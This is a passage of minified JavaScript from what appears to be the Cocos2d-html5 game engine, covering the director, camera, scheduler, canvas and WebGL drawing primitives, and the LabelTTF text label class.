  351. (this.Vf.update(this.ok),b.sa.dispatchEvent(this.vB));this.nk();this.ji&&this.B3();this.UA&&this.UA();this.ad&&(this.ad.T(),b.sa.dispatchEvent(this.wB));this.dw&&this.dw.T();this.nr&&this.pY();this.OA&&this.OA();b.sa.dispatchEvent(this.uB);this.Nw++;this.nr&&this.WU()},UA:null,OA:null,end:function(){this.nw=!0},paa:function(){return this.hh},oba:function(){return this.dw},Dca:function(){return this.R},Ws:function(){return O(this.R.width*this.hh,this.R.height*this.hh)},pause:function(){this.lc||(this.kC=
  352. this.$q,this.ZO(0.25),this.lc=!0)},qga:function(){b.assert(this.ad,b.e.MQ);this.ti.pop();var a=this.ti.length;0==a?this.end():(this.Ik=!0,this.ji=this.ti[a-1])},z2:function(){b.Vw.nk();b.ud.nk();b.Da.nk()},A2:function(){this.Yk().Py();b.sa&&b.sa.ve(!1);this.ad&&(this.ad.dg(),this.ad.vb(),this.ad.Pe());this.ji=this.ad=null;this.ti.length=0;this.HP();this.z2();b.Ro()},B2:function(a){b.assert(a,b.e.$G);this.Ik=!1;this.ti.push(a);this.ji=a},Xm:function(a){b.assert(a,b.e.$G);if(this.ad){var c=this.ti.length;
  353. 0===c?(this.Ik=!0,this.ti[c]=a):(this.Ik=!0,this.ti[c-1]=a);this.ji=a}else this.B2(a),this.FP()},Bp:function(){this.lc&&(this.ZO(this.kC),(this.Bk=Date.now())||b.log(b.e.OQ),this.lc=!1,this.ok=0)},Lha:function(a){a!=this.hh&&(this.hh=a,this.Nn())},Oha:function(){},sia:function(a){this.Pr=a},B3:function(){var a=!1,c=!1;b.wa&&(a=this.ad?this.ad instanceof b.wa:!1,c=this.ji?this.ji instanceof b.wa:!1);if(!c){if(c=this.ad)c.dg(),c.vb();this.Ik&&c&&c.Pe()}this.ad=this.ji;this.ji=null;a||null==this.ad||
  354. (this.ad.ba(),this.ad.Qh())},uia:function(a){this.dw=a},F_:function(){return this.IC},k3:function(a){this.IC=a},pY:function(){this.Td++;this.xn+=this.ok;this.Gf&&this.Hf&&this.Lf?(this.xn>b.JQ&&(this.Hf.string=this.VC.toFixed(3),this.AB=this.Td/this.xn,this.xn=this.Td=0,this.Gf.string=this.AB.toFixed(1),this.Lf.string=(0|b.bg).toString()),this.Gf.T(),this.Hf.T(),this.Lf.T()):this.Nn();b.bg=0},nda:function(){return this.Ik},Sba:function(){return this.ad},aaa:function(){return this.$q},ada:function(){return this.nr},
  355. n3:function(a){this.nr=a},Xba:function(){return this.VC},fda:function(){return this.Pr},hda:function(){return this.lc},rca:function(){return this.Nw},rga:function(){this.u2(1)},u2:function(a){b.assert(this.ad,b.e.NQ);var c=this.ti,d=c.length;if(0==d)this.end();else if(!(a>d)){for(;d>a;){var e=c.pop();e.running&&(e.dg(),e.vb());e.Pe();d--}this.ji=c[c.length-1];this.Ik=!1}},Yk:function(){return this.Vf},uP:function(a){this.Vf!=a&&(this.Vf=a)},mx:function(){return this.xg},YO:function(a){this.xg!=a&&
  356. (this.xg=a)},vaa:function(){return this.ok},Nn:null,WU:function(){this.VC=(Date.now()-this.Bk)/1E3}});b.Xa.ZQ="director_projection_changed";b.Xa.WQ="director_after_draw";b.Xa.YQ="director_after_visit";b.Xa.XQ="director_after_update";b.QQ=b.Xa.extend({Lx:!1,FP:function(){this.Pr=!0;this.Lx=!1},oO:function(){this.nw?(this.nw=!1,this.A2()):this.Lx||this.UZ()},HP:function(){this.Lx=!0},ZO:function(a){this.$q=a;this.Lx||(this.HP(),this.FP())}});b.Xa.wG=null;b.Xa.VM=!0;
  357. b.Xa.HB=function(){b.Xa.VM&&(b.Xa.VM=!1,b.Xa.wG=new b.QQ,b.Xa.wG.G());return b.Xa.wG};b.HZ=60;b.Xa.sS=0;b.Xa.yH=1;b.Xa.tS=3;b.Xa.uS=b.Xa.yH;
  358. b.A===b.Ea?(n=b.Xa.prototype,n.$m=function(a){this.qi=a;b.sa.dispatchEvent(this.Fv)},n.aP=function(){},n.jG=function(a){this.R.width=b.Za.width;this.R.height=b.Za.height;this.qh=a||b.view;b.sa&&b.sa.ve(!0)},n.nk=function(){var a=this.qh.se;b.k.clearRect(-a.x,a.y,a.width,-a.height)},n.Nn=function(){var a=0,a=this.R.width>this.R.height?0|this.R.height/320*24:0|this.R.width/320*24;this.Gf=b.W.create("000.0","Arial",a);this.Hf=b.W.create("0.000","Arial",a);this.Lf=b.W.create("0000","Arial",a);a=b.bz;
  359. this.Lf.P(this.Lf.width/2+a.x,5*this.Lf.height/2+a.y);this.Hf.P(this.Hf.width/2+a.x,3*this.Hf.height/2+a.y);this.Gf.P(this.Gf.width/2+a.x,this.Gf.height/2+a.y)},n.Vs=function(){return this.R},n.aF=function(){return N(0,0)}):(b.Xa.Zn=new Image,b.Ja(b.Xa.Zn,"load",function(){b.Xa.fK=!0}),b.Zn&&(b.Xa.Zn.src=b.Zn),b.assert("function"===typeof b.B.dz,b.e.Nc,"CCDirectorWebGL.js"),b.B.dz(),delete b.B.dz);b.Wp=b.ja.extend({rr:null,sr:null,tr:null,Hn:null,In:null,Jn:null,rs:null,ss:null,ts:null,lb:null,aw:null,ctor:function(){this.aw=new b.ca;this.restore()},description:function(){return"\x3cCCCamera | center \x3d("+this.Hn+","+this.In+","+this.Jn+")\x3e"},bP:function(a){this.lb=a},sF:function(){return this.lb},restore:function(){this.rr=this.sr=0;this.tr=b.Wp.Xs();this.rs=this.Hn=this.In=this.Jn=0;this.ss=1;this.ts=0;b.Qm(this.aw);this.lb=!1},jt:function(){if(this.lb){var a=new b.xb,c=new b.xb,d=new b.xb;
  360. b.np(a,this.rr,this.sr,this.tr);b.np(c,this.Hn,this.In,this.Jn);b.np(d,this.rs,this.ss,this.ts);b.$N(this.aw,a,c,d);this.lb=!1}b.lp(this.aw)},Vha:function(a,c,d){this.fP(a,c,d)},fP:function(a,c,d){this.rr=a;this.sr=c;this.tr=d;this.lb=!0},Eha:function(a,c,d){this.g3(a,c,d)},g3:function(a,c,d){this.Hn=a;this.In=c;this.Jn=d;this.lb=!0},uja:function(a,c,d){this.Z3(a,c,d)},Z3:function(a,c,d){this.rs=a;this.ss=c;this.ts=d;this.lb=!0},Laa:function(){return{x:this.rr,y:this.sr,z:this.tr}},gN:function(){return{x:this.rr,
  361. y:this.sr,z:this.tr}},iaa:function(){return{x:this.Hn,y:this.In,z:this.Jn}},bN:function(){return{x:this.Hn,y:this.In,z:this.Jn}},wca:function(){return{x:this.rs,y:this.ss,z:this.ts}},A0:function(){return{x:this.rs,y:this.ss,z:this.ts}},H7:function(){}});b.Wp.Xs=function(){return b.uu};b.R6=b.Au+1;b.Mo=function(a,c){if(a&&0<a.length)for(var d=0;d<a.length;d++)if(!(a[d]instanceof c))return b.log(b.e.Mo),!1;return!0};b.Oe=function(a,c){for(var d=0,e=a.length;d<e;d++)if(a[d]==c){a.splice(d,1);break}};b.W8=function(a,c){for(var d=0,e=c.length;d<e;d++)b.Oe(a,c[d])};b.V8=function(a,c,d){a.splice.apply(a,[d,0].concat(c));return a};b.lH=function(a,c,d){this.next=null;this.target=a;this.y2=c;this.paused=d;this.cy=!1};b.gH=function(a,c,d){this.list=a;this.Hm=c;this.target=d;this.Ax=null};
  362. b.kR=function(a,c){this.Mi=null;this.target=a;this.Mp=0;this.Ms=this.Ls=null;this.paused=c;this.Ax=null};
  363. b.eI=b.ja.extend({ej:0,de:null,pe:null,mb:0,xL:!1,Uw:!1,Eo:0,NC:0,uv:0,Xaa:function(){return this.ej},setInterval:function(a){this.ej=a},haa:function(){return this.de},ctor:function(a,c,d,e,f){this.pe=a;this.de=c;this.mb=-1;this.ej=d||0;this.uv=f||0;this.Uw=0<this.uv;this.NC=null==e?b.Bq:e;this.xL=this.NC==b.Bq},qB:function(){if("string"==typeof this.de)this.pe[this.de](this.mb);else this.de.call(this.pe,this.mb)},update:function(a){if(-1==this.mb)this.Eo=this.mb=0;else{var c=this.pe,d=this.de;this.mb+=
  364. a;this.xL&&!this.Uw?this.mb>=this.ej&&(c&&d&&this.qB(),this.mb=0):(this.Uw?this.mb>=this.uv&&(c&&d&&this.qB(),this.mb-=this.uv,this.Eo+=1,this.Uw=!1):this.mb>=this.ej&&(c&&d&&this.qB(),this.mb=0,this.Eo+=1),this.Eo>this.NC&&b.D.Yk().SP(c,d))}}});
  365. b.Fq=b.ja.extend({qs:1,sm:null,cj:null,fv:null,bj:null,M7:null,Wc:null,di:!1,Ow:!1,ctor:function(){this.qs=1;this.sm=[[],[],[]];this.cj={};this.fv=[];this.bj={};this.ar=[];this.Wc=null;this.Ow=this.di=!1},MC:function(a){delete this.bj[a.target.xa];b.Oe(this.ar,a);a.eI=null;a.target=null},oL:function(a){if(a=this.cj[a.target.xa])b.Oe(a.list,a.Hm),delete this.cj[a.target.xa],b.Oe(this.fv,a),a.Hm=null,a.target=null},dL:function(a,c,d,e){e=new b.lH(c,d,e);if(a){for(var f=a.length-1,g=0;g<=f&&!(d<a[g].y2);g++);
  366. a.splice(g,0,e)}else a=[],a.push(e);d=new b.gH(a,e,c);this.fv.push(d);this.cj[c.xa]=d;return a},NU:function(a,c,d){d=new b.lH(c,0,d);a.push(d);a=new b.gH(a,d,c);this.fv.push(a);this.cj[c.xa]=a},fja:function(a){this.qs=a},pca:function(){return this.qs},update:function(a){var c=this.sm,d=this.ar,e,f,g;this.Ow=!0;1!=this.qs&&(a*=this.qs);f=0;for(g=c.length;f<g&&0<=f;f++)for(var h=this.sm[f],k=0,m=h.length;k<m;k++)e=h[k],e.paused||e.cy||e.target.update(a);f=0;for(g=d.length;f<g;f++){e=d[f];if(!e)break;
  367. this.Wc=e;this.di=!1;if(!e.paused)for(e.Mp=0;e.Mp<e.Mi.length;e.Mp++)e.Ls=e.Mi[e.Mp],e.Ms=!1,e.Ls.update(a),e.Ls=null;this.di&&0==e.Mi.length&&(this.MC(e),f--)}f=0;for(g=c.length;f<g;f++)for(h=this.sm[f],k=0,m=h.length;k<m;){e=h[k];if(!e)break;e.cy?this.oL(e):k++}this.Ow=!1;this.Wc=null},Y2:function(a,c,d,e,f,g){b.assert(c,b.e.VS);b.assert(a,b.e.WS);d=d||0;e=null==e?b.Bq:e;f=f||0;g=g||!1;var h=this.bj[a.xa];h||(h=new b.kR(a,g),this.ar.push(h),this.bj[a.xa]=h);if(null==h.Mi)h.Mi=[];else for(var k=
  368. 0;k<h.Mi.length;k++)if(g=h.Mi[k],c==g.de){b.log(b.e.US,g.ej.toFixed(4),d.toFixed(4));g.ej=d;return}g=new b.eI(a,c,d,e,f);h.Mi.push(g)},bG:function(a,c,d){if(null!==a){var e=this.sm,f=this.cj[a.xa];f?f.Hm.cy=!1:0==c?this.NU(e[1],a,d):0>c?e[0]=this.dL(e[0],a,c,d):e[2]=this.dL(e[2],a,c,d)}},SP:function(a,c){if(null!=a&&null!=c){var d=this.bj[a.xa];if(d)for(var e=d.Mi,f=0,g=e.length;f<g;f++){var h=e[f];if(c==h.de){h!=d.Ls||d.Ms||(d.Ms=!0);e.splice(f,1);d.Mp>=f&&d.Mp--;0==e.length&&(this.Wc==d?this.di=
  369. !0:this.MC(d));break}}}},St:function(a){null!=a&&(a=this.cj[a.xa],null!=a&&(this.Ow?a.Hm.cy=!0:this.oL(a.Hm)))},RP:function(a){if(null!=a){var c=this.bj[a.xa];if(c){var d=c.Mi;!c.Ms&&0<=d.indexOf(c.Ls)&&(c.Ms=!0);d.length=0;this.Wc==c?this.di=!0:this.MC(c)}this.St(a)}},Py:function(){this.I4(b.Fq.Au)},I4:function(a){for(var c=this.ar,d=this.sm,e=0,f=c.length;e<f;e++)this.RP(c[e].target);for(e=2;0<=e;e--)if(!(1==e&&0<a||0==e&&0<=a))for(var c=d[e],f=0,g=c.length;f<g;f++)this.St(c[f].target)},lga:function(){return this.o2(b.Fq.Au)},
  370. o2:function(){for(var a=[],c,d=this.ar,e=this.sm,f=0,g=d.length;f<g;f++)if(c=d[f])c.paused=!0,a.push(c.target);f=0;for(g=e.length;f<g;f++)for(var d=e[f],h=0,k=d.length;h<k;h++)if(c=d[h])c.paused=!0,a.push(c.target);return a},W2:function(a){if(a)for(var c=0;c<a.length;c++)this.Lj(a[c])},xp:function(a){b.assert(a,b.e.SS);var c=this.bj[a.xa];c&&(c.paused=!0);(a=this.cj[a.xa])&&(a.Hm.paused=!0)},Lj:function(a){b.assert(a,b.e.TS);var c=this.bj[a.xa];c&&(c.paused=!1);(a=this.cj[a.xa])&&(a.Hm.paused=!1)},
  371. qda:function(a){b.assert(a,b.e.RS);return(a=this.bj[a.xa])?a.paused:!1}});b.Fq.Au=-2147483648;b.uH=2*Math.PI;
  372. b.aH=b.ja.extend({$A:[],k:null,ctor:function(a){this.k=a},RZ:function(a,c){c||(c=1);var d=b.view.pa,e=N(a.x*d,a.y*b.view.Ta);this.k.beginPath();this.k.arc(e.x,-e.y,c*d,0,2*Math.PI,!1);this.k.closePath();this.k.fill()},SZ:function(a,c,d){if(null!=a){d||(d=1);c=this.k;var e=b.view.pa,f=b.view.Ta;c.beginPath();for(var g=0,h=a.length;g<h;g++)c.arc(a[g].x*e,-a[g].y*f,d*e,0,2*Math.PI,!1);c.closePath();c.fill()}},Aj:function(a,c){var d=this.k,e=b.view.pa,f=b.view.Ta;d.beginPath();d.moveTo(a.x*e,-a.y*f);
  373. d.lineTo(c.x*e,-c.y*f);d.closePath();d.stroke()},FE:function(a,c){this.Aj(N(a.x,a.y),N(c.x,a.y));this.Aj(N(c.x,a.y),N(c.x,c.y));this.Aj(N(c.x,c.y),N(a.x,c.y));this.Aj(N(a.x,c.y),N(a.x,a.y))},QM:function(a,c,d){this.HE([a,N(c.x,a.y),c,N(a.x,c.y)],4,d)},Zd:function(a,c,d,e){e=e||!1;if(null!=a){if(3>a.length)throw Error("Polygon's point must greater than 2");var f=a[0];c=this.k;var g=b.view.pa,h=b.view.Ta;c.beginPath();c.moveTo(f.x*g,-f.y*h);for(var f=1,k=a.length;f<k;f++)c.lineTo(a[f].x*g,-a[f].y*h);
  374. d&&c.closePath();e?c.fill():c.stroke()}},HE:function(a,c,d){this.Gp(d.r,d.g,d.b,d.a);this.Zd(a,c,!0,!0)},BE:function(a,c,d,e,f){f=f||!1;e=this.k;var g=b.view.pa,h=b.view.Ta;e.beginPath();e.arc(0|a.x*g,0|-(a.y*h),c*g,-d,-(d-2*Math.PI),!1);f&&e.lineTo(0|a.x*g,0|-(a.y*h));e.stroke()},EE:function(a,c,d,e){for(var f=this.$A,g=f.length=0,h=0;h<e;h++)f.push(N(Math.pow(1-g,2)*a.x+2*(1-g)*g*c.x+g*g*d.x,Math.pow(1-g,2)*a.y+2*(1-g)*g*c.y+g*g*d.y)),g+=1/e;f.push(N(d.x,d.y));this.Zd(f,e+1,!1,!1)},CE:function(a,
  375. c,d,e,f){for(var g=this.$A,h=g.length=0,k=0;k<f;k++)g.push(N(Math.pow(1-h,3)*a.x+3*Math.pow(1-h,2)*h*c.x+3*(1-h)*h*h*d.x+h*h*h*e.x,Math.pow(1-h,3)*a.y+3*Math.pow(1-h,2)*h*c.y+3*(1-h)*h*h*d.y+h*h*h*e.y)),h+=1/f;g.push(N(e.x,e.y));this.Zd(g,f+1,!1,!1)},AE:function(a,c){this.Em(a,0.5,c)},Em:function(a,c,d){b.k.strokeStyle="rgba(255,255,255,1)";var e=this.$A;e.length=0;for(var f,g,h=1/a.length,k=0;k<d+1;k++)g=k/d,1==g?(f=a.length-1,g=1):(f=0|g/h,g=(g-h*f)/h),f=b.EQ(b.dd(a,f-1),b.dd(a,f-0),b.dd(a,f+1),
  376. b.dd(a,f+2),c,g),e.push(f);this.Zd(e,d+1,!1,!1)},drawImage:function(a,c,d,e,f){switch(arguments.length){case 2:this.k.drawImage(a,c.x,-(c.y+a.height));break;case 3:this.k.drawImage(a,c.x,-(c.y+d.height),d.width,d.height);break;case 5:this.k.drawImage(a,c.x,c.y,d.width,d.height,e.x,-(e.y+f.height),f.width,f.height);break;default:throw Error("Argument must be non-nil");}},VZ:function(a,c,d){a=a||this.k;c*=b.view.pa;d="rgba("+(0|d.r)+","+(0|d.g)+","+(0|d.b);a.fillStyle=d+",1)";var e=c/10;a.beginPath();
  377. a.moveTo(-c,c);a.lineTo(0,e);a.lineTo(c,c);a.lineTo(e,0);a.lineTo(c,-c);a.lineTo(0,-e);a.lineTo(-c,-c);a.lineTo(-e,0);a.lineTo(-c,c);a.closePath();a.fill();var f=a.createRadialGradient(0,0,e,0,0,c);f.addColorStop(0,d+", 1)");f.addColorStop(0.3,d+", 0.8)");f.addColorStop(1,d+", 0.0)");a.fillStyle=f;a.beginPath();a.arc(0,0,c-e,0,b.uH,!1);a.closePath();a.fill()},OZ:function(a,c,d){a=a||this.k;c*=b.view.pa;d="rgba("+(0|d.r)+","+(0|d.g)+","+(0|d.b);var e=a.createRadialGradient(0,0,c/10,0,0,c);e.addColorStop(0,
  378. d+", 1)");e.addColorStop(0.3,d+", 0.8)");e.addColorStop(0.6,d+", 0.4)");e.addColorStop(1,d+", 0.0)");a.fillStyle=e;a.beginPath();a.arc(0,0,c,0,b.uH,!1);a.closePath();a.fill()},fillText:function(a,c,d){this.k.fillText(a,c,-d)},Gp:function(a,c,d,e){this.k.fillStyle="rgba("+a+","+c+","+d+","+e/255+")";this.k.strokeStyle="rgba("+a+","+c+","+d+","+e/255+")"},F3:function(){},hG:function(a){this.k.lineWidth=a*b.view.pa}});b.TQ=b.ja.extend({k:null,Er:!1,xc:null,bi:-1,ff:null,xC:-1,wC:-1,ctor:function(a){null==a&&(a=b.k);if(!a instanceof WebGLRenderingContext)throw"Can't initialise DrawingPrimitiveWebGL. context need is WebGLRenderingContext";this.k=a;this.ff=new Float32Array([1,1,1,1])},Ej:function(){this.Er||(this.xc=b.Ld.nc(b.Yz),this.bi=this.k.getUniformLocation(this.xc.Mm(),"u_color"),this.xC=this.k.getUniformLocation(this.xc.Mm(),"u_pointSize"),this.Er=!0)},Q9:function(){this.Er=!1},RZ:function(a){this.Ej();var c=
  379. this.k;this.xc.Mc();this.xc.af();b.Ic(b.Od);c.uniform4fv(this.bi,this.ff);this.xc.Gt(this.xC,this.wC);var d=c.createBuffer();c.bindBuffer(c.ARRAY_BUFFER,d);c.bufferData(c.ARRAY_BUFFER,new Float32Array([a.x,a.y]),c.STATIC_DRAW);c.vertexAttribPointer(b.tb,2,c.FLOAT,!1,0,0);c.drawArrays(c.POINTS,0,1);c.deleteBuffer(d);b.cg()},SZ:function(a){if(a&&0!=a.length){this.Ej();var c=this.k;this.xc.Mc();this.xc.af();b.Ic(b.Od);c.uniform4fv(this.bi,this.ff);this.xc.Gt(this.xC,this.wC);var d=c.createBuffer();c.bindBuffer(c.ARRAY_BUFFER,
  380. d);c.bufferData(c.ARRAY_BUFFER,this.mw(a),c.STATIC_DRAW);c.vertexAttribPointer(b.tb,2,c.FLOAT,!1,0,0);c.drawArrays(c.POINTS,0,a.length);c.deleteBuffer(d);b.cg()}},mw:function(a){for(var c=new Float32Array(2*a.length),d=0;d<a.length;d++)c[2*d]=a[d].x,c[2*d+1]=a[d].y;return c},Aj:function(a,c){this.Ej();var d=this.k;this.xc.Mc();this.xc.af();b.Ic(b.Od);d.uniform4fv(this.bi,this.ff);var e=d.createBuffer();d.bindBuffer(d.ARRAY_BUFFER,e);d.bufferData(d.ARRAY_BUFFER,this.mw([a,c]),d.STATIC_DRAW);d.vertexAttribPointer(b.tb,
  381. 2,d.FLOAT,!1,0,0);d.drawArrays(d.LINES,0,2);d.deleteBuffer(e);b.cg()},FE:function(a,c){this.Aj(N(a.x,a.y),N(c.x,a.y));this.Aj(N(c.x,a.y),N(c.x,c.y));this.Aj(N(c.x,c.y),N(a.x,c.y));this.Aj(N(a.x,c.y),N(a.x,a.y))},QM:function(a,c,d){this.HE([a,N(c.x,a.y),c,N(a.x,c.y)],4,d)},Zd:function(a,c,d){this.Ej();c=this.k;this.xc.Mc();this.xc.af();b.Ic(b.Od);c.uniform4fv(this.bi,this.ff);var e=c.createBuffer();c.bindBuffer(c.ARRAY_BUFFER,e);c.bufferData(c.ARRAY_BUFFER,this.mw(a),c.STATIC_DRAW);c.vertexAttribPointer(b.tb,
  382. 2,c.FLOAT,!1,0,0);d?c.drawArrays(c.LINE_LOOP,0,a.length):c.drawArrays(c.LINE_STRIP,0,a.length);c.deleteBuffer(e);b.cg()},HE:function(a,c,d){this.Ej();d&&this.Gp(d.r,d.g,d.b,d.a);c=this.k;this.xc.Mc();this.xc.af();b.Ic(b.Od);c.uniform4fv(this.bi,this.ff);d=c.createBuffer();c.bindBuffer(c.ARRAY_BUFFER,d);c.bufferData(c.ARRAY_BUFFER,this.mw(a),c.STATIC_DRAW);c.vertexAttribPointer(b.tb,2,c.FLOAT,!1,0,0);c.drawArrays(c.TRIANGLE_FAN,0,a.length);c.deleteBuffer(d);b.cg()},BE:function(a,c,d,e,f){this.Ej();
  383. var g=1;f&&g++;var h=2*Math.PI/e;if(f=new Float32Array(2*(e+2))){for(var k=0;k<=e;k++){var m=k*h,p=c*Math.sin(m+d)+a.y;f[2*k]=c*Math.cos(m+d)+a.x;f[2*k+1]=p}f[2*(e+1)]=a.x;f[2*(e+1)+1]=a.y;a=this.k;this.xc.Mc();this.xc.af();b.Ic(b.Od);a.uniform4fv(this.bi,this.ff);c=a.createBuffer();a.bindBuffer(a.ARRAY_BUFFER,c);a.bufferData(a.ARRAY_BUFFER,f,a.STATIC_DRAW);a.vertexAttribPointer(b.tb,2,a.FLOAT,!1,0,0);a.drawArrays(a.LINE_STRIP,0,e+g);a.deleteBuffer(c);b.cg()}},EE:function(a,c,d,e){this.Ej();for(var f=
  384. new Float32Array(2*(e+1)),g=0,h=0;h<e;h++)f[2*h]=Math.pow(1-g,2)*a.x+2*(1-g)*g*c.x+g*g*d.x,f[2*h+1]=Math.pow(1-g,2)*a.y+2*(1-g)*g*c.y+g*g*d.y,g+=1/e;f[2*e]=d.x;f[2*e+1]=d.y;a=this.k;this.xc.Mc();this.xc.af();b.Ic(b.Od);a.uniform4fv(this.bi,this.ff);c=a.createBuffer();a.bindBuffer(a.ARRAY_BUFFER,c);a.bufferData(a.ARRAY_BUFFER,f,a.STATIC_DRAW);a.vertexAttribPointer(b.tb,2,a.FLOAT,!1,0,0);a.drawArrays(a.LINE_STRIP,0,e+1);a.deleteBuffer(c);b.cg()},CE:function(a,c,d,e,f){this.Ej();for(var g=new Float32Array(2*
  385. (f+1)),h=0,k=0;k<f;k++)g[2*k]=Math.pow(1-h,3)*a.x+3*Math.pow(1-h,2)*h*c.x+3*(1-h)*h*h*d.x+h*h*h*e.x,g[2*k+1]=Math.pow(1-h,3)*a.y+3*Math.pow(1-h,2)*h*c.y+3*(1-h)*h*h*d.y+h*h*h*e.y,h+=1/f;g[2*f]=e.x;g[2*f+1]=e.y;a=this.k;this.xc.Mc();this.xc.af();b.Ic(b.Od);a.uniform4fv(this.bi,this.ff);c=a.createBuffer();a.bindBuffer(a.ARRAY_BUFFER,c);a.bufferData(a.ARRAY_BUFFER,g,a.STATIC_DRAW);a.vertexAttribPointer(b.tb,2,a.FLOAT,!1,0,0);a.drawArrays(a.LINE_STRIP,0,f+1);a.deleteBuffer(c);b.cg()},AE:function(a,c){this.Em(a,
  386. 0.5,c)},Em:function(a,c,d){this.Ej();for(var e=new Float32Array(2*(d+1)),f,g,h=1/a.length,k=0;k<d+1;k++)g=k/d,1==g?(f=a.length-1,g=1):(f=0|g/h,g=(g-h*f)/h),f=b.EQ(b.dd(a,f-1),b.dd(a,f),b.dd(a,f+1),b.dd(a,f+2),c,g),e[2*k]=f.x,e[2*k+1]=f.y;a=this.k;this.xc.Mc();this.xc.af();b.Ic(b.Od);a.uniform4fv(this.bi,this.ff);c=a.createBuffer();a.bindBuffer(a.ARRAY_BUFFER,c);a.bufferData(a.ARRAY_BUFFER,e,a.STATIC_DRAW);a.vertexAttribPointer(b.tb,2,a.FLOAT,!1,0,0);a.drawArrays(a.LINE_STRIP,0,d+1);a.deleteBuffer(c);
  387. b.cg()},Gp:function(a,c,d,e){this.ff[0]=a/255;this.ff[1]=c/255;this.ff[2]=d/255;this.ff[3]=e/255},F3:function(a){this.wC=a*b.rb()},hG:function(a){this.k.lineWidth&&this.k.lineWidth(a)}});b.B.DA=function(){var a=b.W.prototype;a.La=b.Q.prototype.La;a.qf=function(){this.pb=!0;var a=this.lm,d=this.mm;this.zw="rgba(128,128,128,"+this.rj+")";this.Iv="rgba("+(0|d.r)+","+(0|d.g)+","+(0|d.b)+", 1)";this.Ew="rgba("+(0|a.r)+","+(0|a.g)+","+(0|a.b)+", 1)"};a.Pb=b.Q.prototype.Pb;a.Ba=b.Q.prototype.Ba;a.Lb=b.Q.prototype.Lb;a.lF=function(a,d){if(!b.Q.prototype.G.call(this))return!1;this.shaderProgram=b.Ld.nc(b.W.EU);this.OD(d,!1);this.string=a;return!0};a.By=function(a){var d=this.mm;if(d.r!=a.r||
  388. d.g!=a.g||d.b!=a.b)d.r=a.r,d.g=a.g,d.b=a.b,this.qf(),this.pb=!0};a.Z=function(a){if(this.Ib&&""!=this.Ib){a=a||b.k;var d=this.K;d&&d.vc&&(this.Hb.Mc(),this.Hb.af(),b.Mh(this.o.src,this.o.U),b.te(d),b.Ic(b.Gl),a.bindBuffer(a.ARRAY_BUFFER,this.ow),this.He&&(a.bufferData(a.ARRAY_BUFFER,this.Ub.Ww,a.STATIC_DRAW),this.He=!1),a.vertexAttribPointer(b.tb,3,a.FLOAT,!1,24,0),a.vertexAttribPointer(b.yd,2,a.FLOAT,!1,24,16),a.vertexAttribPointer(b.Ae,4,a.UNSIGNED_BYTE,!0,24,12),a.drawArrays(a.TRIANGLE_STRIP,0,
  389. 4));if(1===b.Wj)a=this.Ub,b.Ee.Zd([N(a.L.i.x,a.L.i.y),N(a.F.i.x,a.F.i.y),N(a.M.i.x,a.M.i.y),N(a.J.i.x,a.J.i.y)],4,!0);else if(2===b.Wj){a=this.CN().v8;var d=this.offsetX,e=this.offsetY;b.Ee.Zd([N(d,e),N(d+a.width,e),N(d+a.width,e+a.height),N(d,e+a.height)],4,!0)}b.bg++}};a.hb=b.Q.prototype.hb};b.B.Kz=function(){var a=b.W.prototype;b.f(a,"color",a.Re,a.La);b.f(a,"opacity",a.Se,a.Ba);b.f(a,"string",a.Zk,a.Lc);b.f(a,"textAlign",a.R_,a.v3);b.f(a,"verticalAlign",a.E0,a.c4);b.f(a,"fontSize",a.QE,a.Dy);b.f(a,"fontName",a.PE,a.Cy);b.f(a,"font",a.TV,a.PX);b.f(a,"boundingWidth",a.FB,a.JX);b.f(a,"boundingHeight",a.QV,a.IX);b.f(a,"fillStyle",a.SV,a.By);b.f(a,"strokeStyle",a.nW,a.kY);b.f(a,"lineWidth",a.aW,a.TX);b.f(a,"shadowOffsetX",a.iW,a.aY);b.f(a,"shadowOffsetY",a.jW,a.bY);b.f(a,"shadowOpacity",
  390. a.kW,a.cY);b.f(a,"shadowBlur",a.hW,a.$X)};b.W=b.Q.extend({jc:null,zk:b.un,Uk:b.Tq,$b:null,Sb:0,Ib:"",pC:null,no:!1,ih:null,ld:!1,Ed:null,rj:0,Lk:0,zw:null,Jg:!1,lm:null,uj:0,Ew:null,mm:null,Iv:null,zD:0,AD:0,pb:!1,Xv:null,Yv:null,KK:null,ub:"LabelTTF",ctor:function(a,c,d,e,f,g){b.Q.prototype.ctor.call(this);this.jc=O(0,0);this.zk=b.Iu;this.Uk=b.Tq;this.Sa=!1;this.ih="";this.$b="Arial";this.ld=this.no=!1;this.Ed=N(0,0);this.Lk=this.rj=0;this.zw="rgba(128, 128, 128, 0.5)";this.Jg=!1;this.lm=b.color(255,255,255,255);this.uj=0;this.Ew="";this.mm=
  391. b.color(255,255,255,255);this.Iv="rgba(255,255,255,1)";this.AD=this.zD=0;this.pb=!1;this.KK=[];this.qf();c&&c instanceof b.eH?this.lF(a,c):b.W.prototype.sd.call(this,a,c,d,e,f,g)},G:function(){return this.sd(" ",this.$b,this.Sb)},VW:function(){this.IB().font=this.ih},Nr:function(a){return this.IB().measureText(a).width},$U:function(a,c){var d=this.Nr(a),e=Math.floor(a.length*c/d),f=a.indexOf("\n");if(0.8*e>=f&&0<f)return f+1;if(d<c)return a.length;for(var d=!1,f=c+1,g=-1,h=e,k,m=b.W.bV,p=b.W.CX,r=
  392. b.W.ZU,s=a.substr(e);k=m.exec(s);){h+=k[0].length;f=this.Nr(a.substr(0,h));if("\n"==k[2]&&f<c){d=!0;g=h;break}if(f>c){-1!=g&&(d=!0);break}g=h;s=a.substr(h)}if(d)return g;s=a.substr(0,e);for(g=e;k=p.exec(s);)if(g=k[1].length,s=k[1],f=this.Nr(s),f<c){r.test(k[2])&&g++;break}return g||1},description:function(){return"\x3ccc.LabelTTF | FontName \x3d"+this.$b+" FontSize \x3d "+this.Sb.toFixed(1)+"\x3e"},La:null,qf:null,Pb:null,Ba:null,Lb:null,eka:function(a){b.ia.prototype.Lb.call(this,a);this.qf()},Zk:function(){return this.Ib},
  393. R_:function(){return this.zk},E0:function(){return this.Uk},zaa:function(){return O(this.jc.width,this.jc.height)},QE:function(){return this.Sb},PE:function(){return this.$b},sd:function(a,c,d,e,f,g){a=a?a+"":"";d=d||16;e=e||O(0,d);f=f||b.Iu;g=g||b.Tq;this.Sa=!1;this.jc=O(e.width,e.height);this.$b=c||"Arial";this.zk=f;this.Uk=g;this.Sb=d;this.ih=this.Sb+"px '"+c+"'";this.fi=b.W.Vq(c,this.Sb);this.string=a;this.qf();this.Tw();this.pb=!1;return!0},lF:null,$ia:function(a){a&&this.OD(a,!0)},jca:function(){return this.tX(!1)},
